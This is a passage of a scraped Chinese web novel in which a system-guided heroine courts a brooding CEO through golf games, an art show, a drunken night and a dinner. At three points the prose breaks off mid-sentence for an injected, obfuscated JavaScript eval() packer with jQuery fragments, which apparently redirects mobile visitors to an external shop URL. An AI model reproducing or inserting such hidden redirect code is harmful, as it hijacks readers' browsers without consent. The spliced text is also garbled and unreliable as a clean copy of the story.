否则顾良朝不可能会那么大题小作。
稳了!
程知也激动地做了两套扩胸运动。
她知道该从哪儿下手了。
......
“顾总。”刘特助敲了敲门。
“进。”顾良朝低头看着报纸。
刘特助走到办公桌前,低下身子说:“盛铭的萧总约您两点打球。”
顾良朝放下报纸,扭头看了看外面的天空。
“你替我回趟别墅,把我惯用的那支杆取来。”
“好的,顾总。”
顾良朝起身,径直走进休息室,从衣柜里拿出一套白色定制球服换上,又换了一双跟衣服颜色相配的球鞋。
A市松谷高尔夫俱乐部是由萧妄川控股的产业,一千多亩地只用来挖地打洞,简直把享受两个字发挥到了极致。
程知也一边动作随意地挥着杆,一边在心里吐槽着。
还好那两百多万的入会费不是从她口袋里掏的,要不然程知也要心疼得连饭都吃不下去,更别说打什么高尔夫球。
要不是为了能偶遇到顾良朝,程知也怎么都不会选择在大太阳底下一连晒两三个小时。
程知也露出来的皮肤被晒得发红,脸颊两侧也是闷热过后的颜色,球场里最多的反而是球童,反正她也没法儿一杆进洞,顺手给了旁边的小男孩几张钞票,扛着球杆就往休息区底下走。
用湿毛巾擦了擦脸上的汗,程知也打算明天再来,她就不信遇不到顾良朝。
正想着,转过身就看见任务目标拿着一支高级球杆走过来,身旁还有一个陌生的英俊男子。
程知也转过身,微眯起眼睛眺望远方,动作优雅地擦着手指。
萧妄川还在跟他谈论着最近新投资的电影,顾良朝却一早把眼神放到了休息区。
她怎么在这儿?
他微微偏头看了一眼萧妄川,萧妄川丝毫没察觉到他的目光,赞不绝口地说着新电影的主角。
“可惜你不关注这些,他可是我花了高价才签下来的新人,演技特别亮眼,等电影上映了我送你两张票,”他挤眉弄眼地对着顾良朝说,“你可以带那位占卜师一起去看。”
“不感兴趣。”顾良朝突然转了个方向,朝着跟休息区完全相反的放向走去,语气淡淡地说:“那边容易进洞。”
闻言,萧妄川眼睛忽地一亮:“真的假的?你一场进多少个?”
“一百个。”
“扯淡吧你......”
程知也站在原地目送着他们远去,手上力度加重了几分。
真没想到,顾良朝竟然装没看见她,明明一开始还说跟她做朋友,现在连一丝关系也不想跟她扯上。
山不就我,我来就山。
程知也把毛巾往椅子上重重一扔,戴上帽子,提着球杆就跟了上去。
萧妄川觉得顾良朝吹牛,一定要让他给自己露两手。
见距离休息区足够远了,顾良朝双脚稳稳站定,肩背微沉,起杆,蓄力,下杆——
白球顺势飞出,划出一道流畅的弧线。
顾良朝身体站直,动作一气呵成。
“好球!”
一道清脆的鼓掌声响起,萧妄川转身看去,程知也穿着一身米白色休闲运动服走来,眼神充满欣赏,嘴角勾起一丝好看的弧度,皮肤在阳光下白的晃眼。
顾良朝轻微皱眉,原地不动地看着她。
程知也浑然不知似的顶着巨大的眼神
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17284292|198420||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
杀走到两人身边,语气轻松地说:“好久不见。”
萧妄川转过身看顾良朝,问道:“你们认识?”
“不认识。”顾良朝语气冰冷地看着程知也。
听听,听听,你说的这是人话吗?
程知也再次被黑化后的顾良朝伤到,表情镇定地说:“顾先生真是贵人多忘事,我们在苏小姐的生日宴上见过。”
“有吗?记不清了。”他还是那副冷冰冰、拒人于千里之外的样子。
萧妄川看着程知也,语气埋怨地道:“你们俩认识就不管我了是吧?鄙人姓萧,小姐贵姓啊?”
“我姓程。”她笑着看向顾良朝,“顾先生这回记住我了吗?”
顾良朝胸膛轻微起伏了一下,不置可否,随后问道:“程小姐在这里做什么?”
程知也从容地说:“自然跟顾先生一样,陶冶高雅情操来了。”
她微微抬起手里的球杆,轻松随意地开口:“敢不敢跟我赌一局?”
“哦?”萧妄川挑眉,颇有兴味地问道:“赌什么?”
她面对着萧妄川,眼神却看向萧妄川身后的顾良朝,“如果我能打出一杆进洞,今晚请你们吃饭,二位以后就是我的球友,随叫随到。”
顾良朝眼底掠过一抹阴骘,语气幽幽地开口:“如果你没打进,从今往后,这个球场你一步也不许踏进。如果你能做到这一点,我们跟你赌。”
萧妄川眉梢向上挑起,双手环抱,眼神在两人不寻常的氛围中飘来飘去。
顾良朝今天吃火药了?
程知也嘴角缓缓向上扬起,眼里流露出志在必得的自信,一字一句地说:“那你可要瞧好了。”
她步伐沉稳地走到顾良朝身旁,上半身重心下压,目光专注的落在白球上,肩臂接连而动,上杆,力量传递至上方时手腕自然释放,杆头以一道利落的弧线快速划过草地,随后她漫不经心地收杆站稳。
顾良朝和萧妄川同时看向远处,球童大声报喜:
“恭喜女士!HoleinOne!一杆进洞!”
顾良朝扭过头来看她,脸色沉得可怕,程知也赶紧站直身体,看了一下黑化值。
幸好,黑化值依旧是雷打不动的99。
顾良朝应该不至于因为她这一球就毁天灭地。
“哈哈哈哈......好球!愿赌服输!”萧妄川拍着手说,“程小姐球技高超,佩服,佩服!”
程知也微笑道:“出门前看了黄历,今天运气还可以。”
......
“经理,刚才一杆进洞很开心,想给在场的所有球童和工作人员都发个小红包分享好运,辛苦您安排一下,金额我稍后跟您对接。”程知也站在会所门口,正在跟球童经理说着红包的事。
顾良朝偏头看了一眼,又无事般地把头转了回来。
萧妄川倒是轻笑两下,低声道:“别再挂着你那张冰块脸了,就算她以前得罪过你,可从今往后你就要随叫随到地陪她打球了,放轻松点,要不然难受的只有你。”
虽然不知道顾良朝跟程知也之间有过什么过节,但当她的球友,萧妄川还是挺乐意的。
加了联系方式,萧妄川被电影片方的电话叫走,要庆祝的只剩下了程知也和顾良朝。
然而顾良朝的表情看起来不是很想庆祝的样子。
“顾先生怎么走?”程知也踮了踮脚尖,脑袋朝旁边看,“我开车来的,要不要我送顾先生一程?”
顾良朝放下手机,眼神深不可测地盯着程知也的后脑勺,开口道:“好啊,那就多谢程小姐了。”
12. 禁得住看
一连两个月,程知也每逢周末都要约着萧妄川和顾良朝去松谷打球,她球技好,却只有几次打出一杆进洞。
两人都觉得一杆进洞除了实力还需要运气,萧妄川时常安慰她,顾良朝也冷不丁会冒出两句还算中听的话来,只有程知也知道,她是心疼自己的钱。
开玩笑!打出一回一杆进洞要发小十万的红包,刚开始为了刷好感也就算了,时间长了程知也再狠不下心掏钱。
好在萧妄川这人不仅喜欢打球,还好赌,程知也一球就拿下了松谷20%的股份,成了俱乐部的第二大股东。
新公司运转正常,她和苏若锦的计划也在顺利进行中,程知也球打够了,便连着两个星期都没再叫顾良朝,躺在家里舒舒服服地过了两个愉快的周末。
院子里佣人在修剪草坪,割草机的声音莫名让人烦躁起来。
顾良朝端坐在沙发上,眼神不经意地扫过墙上的球杆,眉宇不自觉地轻皱。
他拿过手机看日历,又点开程知也建的“松谷F3”,最后一条消息还是在两周前。
顾良朝脸上露出一个冷淡的表情。
程知也正在家躺着,悠闲地吃着零食,拿过手机随意瞥了一眼。
她坐起身拍了拍手上的零食渣。
“你要去打球吗?可是今天不是周末。”007好心提醒她。
程知也站在镜子前,露出一个神秘的微笑,食指左右摇摆,道:No~亲爱的007,你知道有一个成语叫‘欲擒故纵’吗?”
正所谓,习惯是个可怕的东西。
就像香水,刚开始闻到它浓烈的香味,你可能还不太容易接受,接下来每隔一段时间你都能闻到这个味道,你慢慢地熟悉它,然而香气却一次比一次浅淡,直至彻底消失......
由顾氏举办的画展,邀请了各界人士前来观展。
程知也步伐散漫地走着,眼神漫不经心地欣赏着被展出的艺术品。
她在一副色彩张扬的油画前停住,眼里流露出痴迷赞叹的情绪,心里默默倒数。
三......二......一!
余光瞥见一道熟悉的身影朝她走过来,程知也浑然不知似地凝视着眼前的画作,眼神异常的专注。
顾良朝目光幽深地走到程知也身侧,语气随意地开口道:“喜欢这幅画?”
程知也喃喃自语般赞叹道:“色彩明亮,画风游刃有余,是一副不输大家的巨作啊!”
顾良朝眉梢微挑,伸出手指指在那幅画上,程知也目光被吸引,眼神跟着他的指尖游走,嘴里喃喃地念出油画左下角的小字:“蓝天国际幼儿园大班顾良朝著......”
“......”
头顶上方传来一道带着戏谑的声音:“难为程小姐这么看得起我,不过顾某在这方面并没有钻研的兴趣,自然也就成不了大师,这幅画就送给程小姐留作纪念吧。”
草率了。
程知也轻咳一声,故作稳重地说:“画既然被展览出来就是要让大家一起来品鉴的,为了一己私欲就把它带回家,那不是我的风格。”
顾良朝收起眼底笑意,淡淡地瞥了她一眼。
不同于以往偏好的素净,程知也今天画了个妆,淡紫色长裙裙摆刚好遮住脚踝,嫣红的嘴唇向上勾起,整个人显现出一种极具攻击性的美。
感受到他停留得有些久的目光,程知也扭头看他,笑眯眯地问道:“好看吗?是不是比画好看?好看就多看两眼,我禁得住看。”
“......”
顾良朝沉默不语,转身朝另一边走去。
“叮——检测到男二当前黑化值为:95”
“再接再励哦~”
程知也满意地望着顾良朝远去,心情大好地欣赏起剩余的画作来。
“程小姐,好巧。”洛琛语气有些惊喜地走到程知也面前,“我去你工作室找了你好几次,可一直都没能见到你。真没想到能在这儿碰到你。”
“的确挺巧。”程知也微笑着说。
能在这儿遇到洛琛,程知也确实有些小小的惊讶。
“洛先生喜欢画?”
洛琛笑着说:“算不上喜欢,只是想来碰碰运气,看有没有什么值得收藏的画作。”
程知也点点头,转过头专注看画。
洛琛侧目看着程知也惊艳的侧脸,睫羽轻垂,身姿优雅地静静站立在画前,宛若一尊面容姣好的神像,一时之间竟忘了移开视线。
程知也突然转过头来,目光直直地看着洛琛。
洛琛这才突然反应过来,耳垂通红,赶紧向她道歉。
程知也没了继续看展的兴致,摆摆手径直走出了展厅。
回到家,程知也换了身休闲舒适的衣服,刚准备放松一下,苏若锦突然打来了电话,叫她马上去工作室一趟。
刚进门,苏若锦面色凝重地朝她走过来,手里拿着几页资料。
“这是什么?”程知也一边接过纸张,一边疑惑的问道。
“问询函。有人匿名举报公司资金来源不明、违规收股。”苏若锦眉头紧皱。
程知也看了她一眼,淡定地说:“公司刚成立不久就开始收购散股,被人盯上很正常,放心吧,公司的一切收购流程都是合法合规的,问询过后就好了。”
苏若锦这才放下心来,脸色还是很难看。
“你担心是他们?”
苏若锦面色凝重地点头。
程知也沉思了一会儿,道:“我倒不这么认为。散户购买或抛售是很正常的事情,他们也没这个闲心盯着,很有可能是出了内鬼。”
她笑了笑,对苏若锦说:“放心吧,我一定会把这个人给揪出来的。”
......
“叩叩叩”
“进来。”
一个二十出头的男人走到程知也面前,问道:“程总,您找我?”
程知也微笑着点头,说:“我最近在谈一笔外部资金,准备把公司注资增加到300万,流程稍后再走。”
“好的程总。”
程知也忽然压低声音,弯起眼睛说:“还有一笔钱,我先从个人卡走一下,先不报账,这事儿只有你知道,千万不能说出去。”
他点头道:“放心吧程总,我不会泄露出去的。”
“去吧。”
他关门出去,程知也脸上的笑逐渐变淡,视线转向电脑上的监控画面。
那个男生走出去后立马接了个电话,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17284293|198420||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不知道说了些什么。
程知也手指点在屏幕上,喃喃道:“你可千万别让我失望啊......”
王礼正在工位上工作,抬头便看见程知也笑眯眯地盯着他,顿时惊得语无伦次:“程、程总,您有什么事吗?”
程知也点头道:“想请你帮我个忙,来我办公室说吧。”
王礼走进办公室才发现,办公室里不知道什么时候多出两个身材壮硕的保镖,眼神凶神恶煞地盯着他。
程知也笑容和煦地对他说:“找你来是想问问,对公司有没有哪里不满意的,都可以提出来。”
王礼紧张地吞咽口水,结结巴巴地说:“没、没有,都挺满意的。”
“是吗?既然你没有不满,怎么三番两头地举报公司呢?”
程知也笑着从抽屉里拿出一封问询函。
“有人匿名举报,举报理由是我用个人账户资金炒股、不做账。”
闻言,王礼瞬间大惊失色,两名保镖立刻上前钳制住他,从他兜里掏出一个手机,递给程知也。
“别担心,我只是想借你手机打个电话而已。”程知也笑着点开他的通话记录,找到跟监控画面对应时间的拨号记录,指尖轻点拨了过去。
“嘟嘟”两声,电话很快被接通。
“喂?事办成了吗?”
程知也开了静音,电话那头的人没听见反馈,另一道带着些许暴躁的声音响起:“你找的什么人?靠不靠谱啊?”
“嘟——”电话被程知也挂断,她缓缓走到王礼面前,慢条斯理地把手机塞到他上衣口袋里,后退两步,开口道:“我给你两条路:
第一,我报警;
第二,你继续留在公司,但从今以后做我的人,替我传递消息。
二选一,你自己挑一个。”
王礼咬着牙,额头上青筋暴起,思索良久,抬头看着程知也道:“我选第二个。”
“你很聪明,”程知也示意让保镖放开他,拍着手走过来,“这么聪明的人就应该留在我的公司,为我做事。”
......
赵瑾晔一脸不耐烦地看着王科:“怎么样了?”
王科立马回他:“放心吧赵哥,我的人都盯着呢,谁来也买不走。”
赵瑾晔从鼻子里冒出一声冷哼:“还想跟我斗,继续盯着。”
王科垂眸,想起那天在金碧门口初见的人,低声道:“知道了,赵哥。”
顾良朝站在巨大的落地窗前看着A市的夜景,垂眸沉思。
他一向排斥着异性的靠近,刚开始主动接触程知也只不过是为了试探她,可后来安排她和程霜见面,顾良朝知道这一切都是他凭空臆想出来的罢了。
或许是他压抑太久,精神早就出了问题。
或许是慕昭然说的,他鬼上身了。
除此之外没什么能解释发生在他身上的一连串的怪异。
上次试探过后,顾良朝觉得自己的态度已经很明显,程知也不该再出现在他面前。
可偏偏哪里都能碰到她,当成巧合也根本说不过去。
顾良朝的表情一半被隐匿在阴影里,忽明忽暗。
这个人,究竟是别有用心,还是只是单纯地接近呢?
13. 小良朝
金碧顶层。
宋怀仙正拿着酒杯搭着金字塔,抬眼看到顾良朝推门走进来,一边拿了个酒杯小心翼翼地往上搭,一边分神道:“你终于舍得出来了,这几个月我每次给你打电话都是刘特助接的,以前也没见你对高尔夫这么上瘾啊?”
顾良朝漫不经心地在窗边沙发坐下,淡淡地道:“新认识个搭子,球技不错。”
谢行渊挑眉,好奇地问道:“谁啊?男的女的?”
自从上次在慕昭然家碰巧知道顾良朝的事情,他和慕昭然一连几个月都没敢打扰他,生怕影响到他驱邪。
看样子那道士还真有两把刷子,几个月不见,顾良朝精神头比以前更好了,整个人状态仿佛又回到了大学时期,之前虽然也不颓废,可他们几个总隐隐能感觉到他身上那种“活着也行死了更好”、临门一脚就踏进深渊的死人气息。
“说了你们也不认识。”顾良朝垂下眼眸,端起酒杯喝了一口。
宋怀仙搭好了酒杯金字塔,也跑过来跟着凑热闹:“那你正好介绍我们认识呗,我爸正好让我多学学怎么打高尔夫。”
顾良朝没说话,只轻飘飘地看了他一眼。
谢行渊莫名就从那眼神里看出来几分不乐意,眉梢轻挑:“你爸为什么叫你学打高尔夫?你不是会打吗?”
宋怀仙立刻扭头朝谢行渊诉苦道:“是我那个结婚对象,她喜欢打高尔夫,我爸让我多跟她培养感情。”
顾良朝这才开口道:“那你怎么不直接跟她打,正好培养感情。”
谢行渊又转头看了一眼顾良朝。
宋怀仙无奈道:“你们是不知道,我那个结婚对象以前当过职业球员专属教练的,我那点水平,拿出来还不得被人给笑话死。”
谢行渊感叹道:“真没想到,宋伯伯竟然给你安排了这样一门亲事,照你这喝酒耍乐过家家的性子,以后的日子只怕是苦不堪言了。”
他端起一杯酒,表情幸灾乐祸地说:“这杯我敬你,希望你以后还能跟我们出来一起喝酒。”
宋怀仙气急败坏,站起来指着谢行渊大声道:“你,阿朝,还有慕昭然你们三个!我诅咒你们一辈子也娶不到老婆!孤独终老!”
谢行渊笑着点头,道:“好好好,借你吉言。至于孤独终老么,你得问问阿朝他本人乐不乐意。”
宋怀仙瞪大眼睛,扭头看向顾良朝,语气难以置信地问道:“你有女朋友了?!”
顾良朝不说话,宋怀仙就真的以为他有了女朋友,当即转过头大声地质问谢行渊:“难不成我又是最后一个知道的?!”
谢行渊捧腹大笑,说不出话来。
顾良朝端起酒杯轻抿了一口:“好好跟你未婚妻培养感情,我的事不用你替我操心。”
“......”
宋怀仙憋了半天,从嘴里蹦出几个字:“......我才懒得管你!”
“哈哈哈哈哈哈......”谢行渊笑到力竭,拿出手机噼里啪啦地给慕昭然发消息。
......
顾良朝正坐在庭院里晒太阳,手机消息提示音响起,他淡淡地瞥了一眼,看到是“松谷F3”发来的消息,拿过手机径直点开。
是萧妄川发的消息,剧组庆功宴,问顾良朝和程知也要不要一起去。
顾良朝没这个闲心,刚准备回复,就看到程知也回了个“OK”的表情包。
他目光微顿,指尖轻敲几下。
【地址。】
程知也看到了顾良朝的回复,心里有些意外。
她去了,他竟然也愿意去?
在松谷一起打球的两个月本来就是程知也刻意为之,又经过了画展,她决定暂时先不进行下一步计划,顾良朝那么敏锐的人,靠的太近反而会适得其反。
不过......
目前看来,顾良朝好像也没有她想象中那么排斥自己。
......
庆功宴地址选在萧妄川的私人庄园,露天草坪下弄了一个规模不小的酒会,剧组大大小小的演员脸上都洋溢着热情的笑容。
程知也刚走到庄园门口,顾良朝也正准备进去,四目相对,他礼貌而冷淡地朝她点了个头,率先进去。
程知也看着目前顾良朝对她高达3的好感度,有些没底气地问007:“如果一会儿我喝醉了,你有办法能让我尽可能地优雅一点吗?”
她想起那次在湘南酒馆醉酒,肯定给顾良朝留下了不好的印象。
萧妄川组的局,不喝酒肯定说不过去。
“‘千杯不醉’道具兑换需要10000积分。”007有些为难,“要不你一会儿少喝点。”
程知也深呼一口气,破釜沉舟地说:“不管了,一会儿我见机行事。”
酒会热闹,顾良朝跟萧妄川打了声招呼就离开了人群中心,端着一杯酒独自走到二楼的露台上。
凌厉而具有冲击力的容貌冷冷地俯视着人群,露台上没开灯,清冷的月光给他镀上了一层让人怜惜的孤独和破碎感。
程知也举起杯子猛喝了一口,高浓度的酒精顺着胸口一路灼烧到她脸上,脚步一深一浅地踩着楼梯。
顾良朝听到身后传来的异响,冷脸转身,刚准备离开,一个浑身带着酒气的女人突然冲过来靠到他肩上。
顾良朝狠狠皱眉,偏身退步,那女人没了支撑点,软绵绵地滑倒在地上,嘴里还发出断断续续的呓语,他黑着脸绕过她准备离开。
“顾......顾良朝......”
顾良朝身体僵住,他缓缓转身,低头确认着躺在地上的人,确定是程知也后他眉心突然一阵狂跳。
他看了看自己身上的衣服,蹲下身沉声道:“叫我做什么?”
程知也脸上露出一个有些蠢气的笑容,傻傻地看着他,声音仿佛低吟:“是你呀......小良朝。”
......小良朝。。。
顾良朝沉下脸色,皱眉看着她:“怎么喝这么多酒?你手机呢?我帮你打电话叫人。”
程知也一把抓住他的右手,含含糊糊地说:“没人接我的。”
顾良朝眼神一顿,看着她脸上有些难过的表情,想到调查资料上的“孤儿”,他语气稍微好了一点,不再那么冷硬:“你不是有助理吗?她会来接你。”
程知也喃喃道:“助理早辞职了。”
顾良朝垂眸看她,淡淡地道:“那你想怎样?”
程知也撅着嘴,表情相当地不服气:“我喝醉了,你送我回家!”
“凭什么?”顾良朝淡淡地问道,“我有什么理由非送你不可?”
他态度冷淡,程知也积压已久的委屈终于在酒精的作用下泄洪般奔涌而出。
她脸上一向没什么表情,笑起来的时候也总是淡淡的,这会儿被伤了心,剔透的泪如同绸缎缓缓划过鼻梁,一颗颗坠在地面,砸出一道重重的痕迹。
像是被这滚烫的泪烫到,顾良朝的手指不自觉地蜷缩起来。
程知也语气十分难过,声音
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17284294|198420||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
也低低的:“是你说的想跟我当朋友我才同意的,吃完饭你就翻脸不认人,还说不认识我......你走吧。”
她缩回拉着顾良朝的那只手,目光呆滞地看着地面。
顾良朝眉头紧皱,犹豫几秒,语气警告地扶起她:“你要是敢吐在我身上,我就把你从这儿丢下去。”
程知也吸了吸鼻子,这酒喝得她头晕脑胀,身体忍不住往前倾,正正靠在顾良朝身上。
看她不像是要吐出来的样子,顾良朝认命般叹了口气,将她打横抱起下楼。
萧妄川正打算上楼找这两个人,抬头就碰到顾良朝怀里抱着一个女人走了下来,走近一看,果然是程知也。
他露出一个“原来如此”的表情,什么也没说,只拍了拍顾良朝的肩膀,朝他上衣口袋里塞了两张像是电影票的东西。
顾良朝满脸黑线,最终选择沉默着带程知也离开。
把程知也放到后座,顾良朝刚准备关上车门坐到副驾驶位上,程知也腾地爬起来,双手紧紧地揪着顾良朝的袖子。
“又怎么了?”顾良朝觉得自己的忍耐就快到了极限,他冷着脸问她。
“你坐后面。”借着光,顾良朝这会儿才发现程知也的眼睛红红的,不知道是不是刚才哭过的缘故。
他不想跟醉鬼计较,扯开程知也的手,沉声道:“坐好。”
程知也立刻听话的乖乖坐好,给他留出一个足够宽敞的位置来。
顾良朝看了一眼目不斜视地看着前方、正襟危坐的司机,觉得自己真的是中邪了,竟然会迁就一个酒鬼。
他坐进后座,忽视旁边灼热的眼神,对司机道:“走吧。”
“是。”
顾良朝转头看向窗外,车窗上倒映出一个依旧在紧巴巴地盯着他的人影。
“......”
他冷着脸转头:“你这么一直看着我干嘛?我脸上有花?”
程知也却像怎么也看不够似的,边凑近他边伸出手指:“你看啊,你眼睛旁边这里有一颗小痣。”
带着凉意的指尖猝然贴上他的眼角,顾良朝条件反射性地往后一躲。
“......坐回去!”
程知也哦了一声,退回到原来的位置上。
顾良朝揉着眉心,语气低沉:“希望你明天还能记得你今晚做过的事。”
等了半晌也没听见程知也的回答,他放下手转头向她看去。
程知也终于疯累了,双眼紧闭,整个人缩成一团的靠在车窗上。
喝点酒就敢不知天高地厚地招惹他,睡着后的样子倒有几分难得的顺眼。
程知也在睡梦中不自觉地瑟缩了一下,顾良朝示意让司机把温度调高,脱下外套动作很不温柔地丢在她身上。
不知道过了多久,程知也终于睡醒,睡眼朦胧地从座位上爬起来,顾良朝正坐在副驾驶位看手机。
见她醒了,顾良朝偏头问她:“你自己能上去吗?”
程知也脑子有些懵,目光呆滞地点点头。
“......”
送佛送到西,顾良朝下车打开车门,伸出右手道:“我送你。”
程知也呆愣愣地抓住他的手,慢吞吞地从车里钻出来。
“叮——检测到顾良朝当前好感度为:5”
她猛地抓紧顾良朝的手,眼睛变得神采飞扬,嘿嘿一笑:“不用了,我自己能回去。”
顾良朝垂眸看着自己被抓的死死的手,语气幽幽地问:“你确定吗?”
14. 规则失效
程知也顺着他的目光看下去,立刻动作迅速地松开他,脸上堆出一个有些讨好的笑:“我确定,放心吧,没问题的。”
顾良朝冷笑一声,头也不回地上车离开。
睡前看了份报表,顾良朝脑海中骤然回想起程知也蜷缩在后座睡着的样子,眉头不自觉地紧皱,揉了揉太阳穴,他关上灯躺下,睁眼看着洁白的天花板。
“在看什么呢?还不回教室吗?”
顾良朝像是突然被惊醒般猝然转过头,程知也身穿校服站在阳光底下,笑得晃眼,见他露出疑惑的表情,她伸手在顾良朝面前挥了挥,轻笑着问:“你怎么啦?”
语气熟稔,仿佛他们已经认识了很多年。
顾良朝仔细地看着稚气未脱的程知也,心念一动,对着程知也说:“我们逃课吧。”
梦里的程知也眼睛慢慢睁大,随后很爽快地点头答应:“好啊!”
阳光大好,程知也一脸兴奋地在街上跑来跑去,四处买吃的玩的,顾良朝稍不注意,手里就被塞了一个草莓味的冰激凌。
“快点吃!不然要化了!”程知也在不远处转身对着他大声喊道,随后又蹦蹦跳跳地跑远。
顾良朝看着周围的街景,他突然生出一种似曾相识却又陌生的感觉来。
和从前那个循环往复的噩梦里的场景一样,只不过这一次不再是灰蒙蒙的一片。
顾良朝拿起手里粉红色的冰激淋咬了一口,顺着程知也刚才走过的路慢慢走远......
......
“啊!——”
屋檐下的燕子被尖叫声吓醒,叽叽喳喳地叫着飞远。
程知也一脸崩溃地坐在床上。
她一醒来,007就给她看了昨晚的回放,程知也满脑子只剩下“色胆包天”四个字。
“小良朝”三个字到底为什么会从她嘴里蹦出来?!
她怎么敢把手放到顾良朝脸上的?!
程知也心慌气短地查看顾良朝的黑化值和好感度,嘴里碎碎念。
“求求了,千万别前功尽弃啊......”
“咦?——!”看着屏幕上降到80的黑化值,以及飙升到30的好感度,程知也不可思议地瞪大了眼睛。
“难不成,卖惨博同情这招对顾良朝来说真的有用?!”
她激动地从床上蹦起来,桀桀桀地笑着,因为出糗带来的阴霾被一扫而空,摩拳擦掌地自言自语道:
“等着看我为你量身打造的专属人设吧!”
......
“本周三上午需要接见海外科研组洽谈新项目相关事宜,晚上九点您在雅宴有一个商务酒会——”刘特助正向顾良朝汇报着未来一周的行程安排,不经意间瞥见顾良朝嘴角挂着一丝浅笑,刘特助话音猝然停顿。
是他哪里汇报出错了吗?老板为什么在笑??
顾良朝抬眼看他,语气淡淡地道:“继续。”
“——是。”刘特助轻呼出一口气,继续汇报工作。
汇报完毕,刘特助静静站在办公桌前等待着老板的指示,他这才发现,阳光不知何时悄然爬进了窗台,金黄色温暖的阳光顺着扑上了老板沉寂已久的电脑桌前。
“做的不错,你安排好项目组的奖金发放。”
“是。”
——
顾良朝已经很久没有再做噩梦,十分难得的主动在“松谷F3”里发出一起打球的邀约。
【程知知也:OK!】
【萧某人:我身体不舒服,今天就不来了。】
然后扭头就给顾良朝发了一个十分谄媚的狗头表情包。
【我不当电灯泡,看完电影记得帮我宣传宣传。】
顾良朝这才想起来那天他塞在自己口袋里的电影票。
球友打完球再一起看场电影,听上去好像也没什么问题。
逻辑自洽以后,顾良朝给萧妄川回了条消息:【OK。】
没了萧妄川在中间搭话题,程知也和顾良朝两个人闷着头打了两小时的球,后面实在是经不起晒了,程知也提出先找个地方吃饭。
程知也不怎么挑食,偏好调味重的菜系,顾良朝找了一家炒菜馆,她一连点了八道菜,几乎都是她爱吃的。
见顾良朝定定地看着她,程知也适时地说:“抱歉啊,小时候没这条件,长大了就什么都想尝尝,不过你放心,我肯定不会做浪费食物的事情。”
顾良朝刚想问出口的话又被他咽了回去。
只垂眸安静地盯着桌面,想到程知也第一次请他吃饭的时候点了很多他正好爱吃的菜。
饭吃到一半,顾良朝才发现程知也很偏爱酸辣口味的菜。
“你老家是哪儿的?”他随口问道。
程知也正顾着扒饭,顺口答道:“贵州的。”
话刚说出口,程知也突然停止了咀嚼,抬起头愣愣地看着顾良朝。
她、她竟然说出来了?!
“贵州是哪儿?”顾良朝没听说过这个地方。
程知也更加确定了。
她囫囵地吞下一口菜,语气带着些哽咽,睁大眼睛道:“我家,我家是贵州的。”
顾良朝放下碗,语气有些无奈:“我听见了,我问的是‘贵州是哪儿’,我以前没听过这个地方。”
程知也却有些不好意思地笑起来,“在一个离A市很远的地方。”
顾良朝点点头道:“那你来A市应该要转很多趟车吧?你一个女孩子,很不容易。”
程知也放下筷子,手肘杵在桌上,低下头,双手轻轻摸着额头,笑着说:“还行吧,比我想象中快。”
吃完饭,顾良朝把电影票递给程知也,语气随意地说:“萧妄川给的,电影首映,说是让我们看完给个好评什么的。”
程知也心情相当不错,拿着电影票看了眼时间:“还有一个小时开场,这附近就有一家电影院,你如果不忙的话,我们一起去看看呗。”
她诚挚请求,眼睛亮晶晶地看着他,里面仿佛盛满了温润的水光。
顾良朝轻咳一声,认真思考了两秒:“倒是能空出来几个小时。”
“那太好了,还以为我要一个人看电影了。”程知也笑着看他。
顾良朝嘴角勾起不明显的弧度。
电影院就在附近,两人一致选择步行,沿着长街边走边欣赏夜景.
走到一处十字中心,程知也有些惊奇地看着中央水池里的巨大的雕像。
“这是A市中心地标——爱神丘比特,”顾良朝走到她身旁介绍道,“传说被丘比特的金箭射中的人会疯狂爱上第一眼看到的人,而被铅箭射中的人会对第一眼看到的人产生极度厌恶的情感。”
程知也点点头,问道:“那他蒙着眼睛,怎么保证射出的是金箭而不是铅箭呢?”
万一抽错了箭,让本该相爱的人互相怨恨,那岂不是很让人难过?
顾良朝淡淡道:“爱和恨都不是一成不变并永久存续的。”
现实里相爱的两个人也会因为各种原因渐行渐远,互相憎恨的两个人也可能因为一个突然的契机和解,世间的事没有永恒,只有变化。
程知也抿唇,笑里藏着一丝不易被察觉的紧张,道:“那如果是两个背负着两种不同箭的人,走向又会是什么样呢?”
顾良朝眉梢微挑,转头看她:“你说的是你自己?”
程知也有些惊愕,随后笑着否认:“没有,我的意思是,假设。”
“一个喜欢,另一个却满目憎恨,怎么想都不可能有转机,”看着程知也矢口否认的样
